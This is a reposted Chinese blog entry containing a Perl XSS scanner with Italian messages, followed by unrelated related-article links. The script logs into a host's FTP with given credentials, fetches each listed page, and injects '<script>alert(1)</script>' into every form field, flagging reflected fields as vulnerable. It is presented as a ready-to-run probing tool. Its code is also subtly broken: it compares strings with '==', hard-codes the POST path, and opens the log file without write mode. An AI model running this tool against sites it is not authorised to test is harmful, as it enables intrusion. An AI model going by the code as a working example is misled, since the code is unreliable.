Xss scanner

在线体验各类最新模型,更有模型 免费Token 额度领取!
立即体验
简介:

把代码保存为.pl即可

===============code================

#!/usr/bin/perl
use IO::Socket;
use Net::FTP;
$host = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$user = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$pass = shift or die "Usage: perl $0 <host> <username> <password> [<log file>]\n";
$log_file = shift;
$ftp=Net::FTP->new($host) or die "Impossibile connettersi a $host.\n";
$ftp->login ($user, $pass) or die "Errore durante il login.\n";
@file = $ftp->ls ();
$cont4 = 0;
$log = "Scansione sito: $host\n";
while ($cont4 < scalar (@file)){
my $sock = new IO::Socket::INET (
PeerHost => $host,
PeerPort => "80",
Proto => "tcp",
) or die "Impossibile connettersi a $host: $!\n";
$page = "";
print $sock "get /@file[$cont4]\n\n";
while (<$sock>){
        $page .= $_;
}
my (@variabili, @var_method);
$cont2 = 0;
$cont = 0;
while ($cont <= length ($page)){
if ($page =~ /<form.+?method.+?('|")(.+?)("|')/){
$method = $2;
$page =~ /<form.+?>(.+?)<\/form>/;
$cont5 = 0;
$in_form = $1;
while ($cont5 <= length ($in_form)){
if ($in_form =~ /<(input|textarea).+?name.+?('|")(.+?)("|')/){
@variabili [$cont2] = $3;
@var_method [$cont2] = $method;
$in_form =~ s/<(input|textarea).+?name.+?('|")(.+?)("|')/done/;
}
$cont5++;
}
$page =~ s/<form.+?method.+?('|")(.+?)("|')/done/;
}
$cont++;
}
close ($sock);
$cont3 = 0;
while ($cont3 < scalar (@variabili)){
        my $sock = new IO::Socket::INET(
        PeerHost => $host,
        PeerPort => "80",
Proto => "tcp",
        ) or die "Impossibile connettersi a $host.\n";
if (@var_method[$cont3] == "GET"){
        print $sock "get /@file[$cont4]?@variabili[$cont3]=<script>alert(1)</script>\n\n";
}
elsif (@var_method[$cont3] == "POST"){ 
$var = "@variabili[$cont3]=<script>alert(1)</script>";
$to_send = "POST /pagina\n".
        "Host: $host\n".
             "Content-Type: application/x-www-form-urlencoded\n".
        "Content-Length: ".length($var)."\n\n".
        $var."\n\n"; 
print $sock $to_send;
}
else {
die "@var_method[$cont3]: Metodo sconosciuto.\n";
}
        $page2 = "";
        while (<$sock>){
                $page2 .= $_;
        }
        if ($page2 =~ /<script>alert\(1\)<\/script>/){
                print "/@file[$cont4]: @variabili[$cont3] vulnerabile.\n";
$log .= "\n/@file[$cont4]: @variabili[$cont3] vulnerabile.";
        }
        $cont3++;
        close ($sock);
}
$cont4++;
}
if ($log_file != ""){
open (LOG, $log_file) or die "Errore durante l'apertura del file: $!\n";
print LOG $log;
close ($log);
}

================code========================



本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/579444,如需转载请自行联系原作者


相关文章
|
存储 算法 编译器
【C++ TypeName用法 】掌握C++中的TypeName:模板编程的瑞士军刀
【C++ TypeName用法 】掌握C++中的TypeName:模板编程的瑞士军刀
1078 1
|
C++
一文弄懂C++的内部类
内部类概念 如果一个类定义在另一个类的内部,这个内部的类,叫做内部类。 内部类是一个独立的类,它不属于外部类,更不能通过外部类的对象去访问内部类的成员。外部类对内部类没有任何优越的访问权限。
591 0
|
人工智能 编解码 自动驾驶
RF-DETR:YOLO霸主地位不保?开源 SOTA 实时目标检测模型,比眨眼还快3倍!
RF-DETR是首个在COCO数据集上突破60 mAP的实时检测模型,结合Transformer架构与DINOv2主干网络,支持多分辨率灵活切换,为安防、自动驾驶等场景提供高精度实时检测方案。
3635 6
RF-DETR:YOLO霸主地位不保?开源 SOTA 实时目标检测模型,比眨眼还快3倍!
|
11月前
|
存储 分布式计算 并行计算
云计算概述
云计算自2006年提出以来,已迅速发展为IT领域的核心技术。它融合了分布式计算、并行计算等技术,推动了信息基础设施的重构。随着数据量激增、能耗问题突出及资源利用率低,云计算应运而生,实现了按需使用、弹性扩展的信息服务模式,逐步接近“像用电一样使用计算资源”的理想目标。
769 0
|
图形学
Unity 射线移动物体Ray
在Unity中,通过射线检测实现3D物体的拖拽和移动。射线由起点和方向组成,使用`Physics.Raycast`检测与物体的交点。点击物体时,记录位置偏移量,拖动过程中更新物体位置。代码包括基本拖拽和上下拖动功能,适用于正交摄像机场景。测试时为物体设置特定标签(如&quot;JQR&quot;)以便区分和操作。 示例代码展示了如何通过鼠标事件控制物体移动,并结合层级掩码优化射线检测。具体实现包括:点击选中物体、拖动更新位置、释放鼠标取消选择。此外,提供了上下拖动的额外功能,通过按键切换模式。
|
存储 缓存 负载均衡
一致性哈希:解决分布式难题的神奇密钥
一致哈希是一种特殊的哈希算法,用于分布式系统中实现数据的高效、均衡分布。它通过将节点和数据映射到一个虚拟环上,确保在节点增减时只需重定位少量数据,从而提供良好的负载均衡、高扩展性和容错性。相比传统取模方法,一致性哈希能显著减少数据迁移成本,广泛应用于分布式缓存、存储、数据库及微服务架构中,有效提升系统的稳定性和性能。
867 1
|
移动开发 UED HTML5
HTML锚点链接的深入解析与应用
HTML锚点链接的深入解析与应用
1344 0
|
移动开发 前端开发 JavaScript
xss模糊测试
xss模糊测试
|
人工智能 监控 前端开发
基于ReAct机制的AI Agent
当前,在各个大厂纷纷卷LLM的情况下,各自都借助自己的LLM推出了自己的AI Agent,比如字节的Coze,百度的千帆等,还有开源的Dify。你是否想知道其中的原理?是否想过自己如何实现一套AI Agent?当然,借助LangChain就可以。
|
Web App开发 前端开发 JavaScript
谷歌浏览器chrome神级插件推荐
谷歌浏览器chrome神级插件推荐